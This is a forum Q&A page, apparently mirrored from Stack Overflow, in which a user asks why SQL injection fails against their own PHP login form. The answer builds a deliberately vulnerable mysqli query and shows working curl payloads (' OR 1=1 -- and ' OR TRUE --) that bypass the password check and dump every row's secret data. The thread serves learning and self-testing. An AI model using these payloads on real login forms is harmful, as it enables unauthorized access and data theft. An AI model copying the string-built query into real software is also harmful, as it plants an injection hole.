douhao5280 2015-12-15 16:42
浏览 43

SQL注入不能处理易受它影响的代码

I'm trying to bypass a login form by using SQL injection (it is my own form by the way).

But the techniques I've tried just return my error message 'invalid login credentials'

Can anybody tell me what i can do?

$email = $_POST['email'];

$password = $_POST['password'];

$query = mysqli_query ($db, "SELECT * FROM clients WHERE email = '$email' AND password = '$password'");

I have tried adding 'or TRUE-- into the email field which from as far as I'm aware should end the query after the --

I have tried many other examples from:

http://www.securityidiots.com/Web-Pentest/SQL-Injection/bypass-login-using-sql-injection.html

But none work.

I understand on the examples in the link it does not use mysqli but why would this effect it so much?

  • 写回答

1条回答 默认 最新

  • dpbtbcz6650 2015-12-15 17:37
    关注

    Given the following table structure

    CREATE TABLE `clients` (
      `id` int(11) unsigned NOT NULL AUTO_INCREMENT,
      `email` varchar(100) NOT NULL,
      `password` varbinary(100) NOT NULL,
      `secretData` varchar(20) DEFAULT NULL,
      PRIMARY KEY (`id`)
    ) ENGINE=InnoDB AUTO_INCREMENT=5 DEFAULT CHARSET=latin1
    

    With the following data in it

    INSERT INTO `clients` (`email`,`password`) 
    VALUES 
    ("bob@gmail.com","aadsf345"), ("mark@aol.com","536734sdgf"), 
    ("mary@outlook.com","password123"), ("anna@mail.ru","{}!@#$>,ZX");
    

    And your vulnerable php code that would select an user based on his/hers email and password combination and display the string in the secretData column

    $db = new mysqli("localhost", "root", "", "test");
    
    $email = $_POST['email'];
    $pass = $_POST['password'];
    
    $sql = "SELECT * FROM clients WHERE email = '$email' AND password = '$pass'";
    
    if ($result = $db->query($sql)) { 
        while($obj = $result->fetch_object()){ 
            print $obj->secretData . PHP_EOL;
        } 
    }
    else{
        print "no result";
    }
    

    A successful login would be as follows, displaying bob's secret data

    $ curl -d 'email=bob@gmail.com&password=aadsf345' http://localhost.com
    aaaaa
    

    While a successful injection would be as follows, display everybody's secret data

    $ curl -d 'email=bob@gmail.com&password=aads%27+OR+1=1+--+' http://localhost.com
    aaaaa
    bbbbb
    ccccc
    ddddd
    

    If you were to print out the injected query, our injection starts at the marker, with the %27 which is a single quote.

    SELECT * FROM clients WHERE email = 'bob@gmail.com' AND password = 'aads' OR 1=1 -- '
                                                                            ^
    

    Using OR TRUE works as well

    curl -d 'email=bob@gmail.com&password=aads%27+OR+TRUE+--+' http://localhost.com
    
    评论

报告相同问题?

悬赏问题

  • ¥60 求一个简单的网页(标签-安全|关键词-上传)
  • ¥35 lstm时间序列共享单车预测,loss值优化,参数优化算法
  • ¥15 基于卷积神经网络的声纹识别
  • ¥15 Python中的request,如何使用ssr节点,通过代理requests网页。本人在泰国,需要用大陆ip才能玩网页游戏,合法合规。
  • ¥100 为什么这个恒流源电路不能恒流?
  • ¥15 有偿求跨组件数据流路径图
  • ¥15 写一个方法checkPerson,入参实体类Person,出参布尔值
  • ¥15 我想咨询一下路面纹理三维点云数据处理的一些问题,上传的坐标文件里是怎么对无序点进行编号的,以及xy坐标在处理的时候是进行整体模型分片处理的吗
  • ¥15 CSAPPattacklab
  • ¥15 一直显示正在等待HID—ISP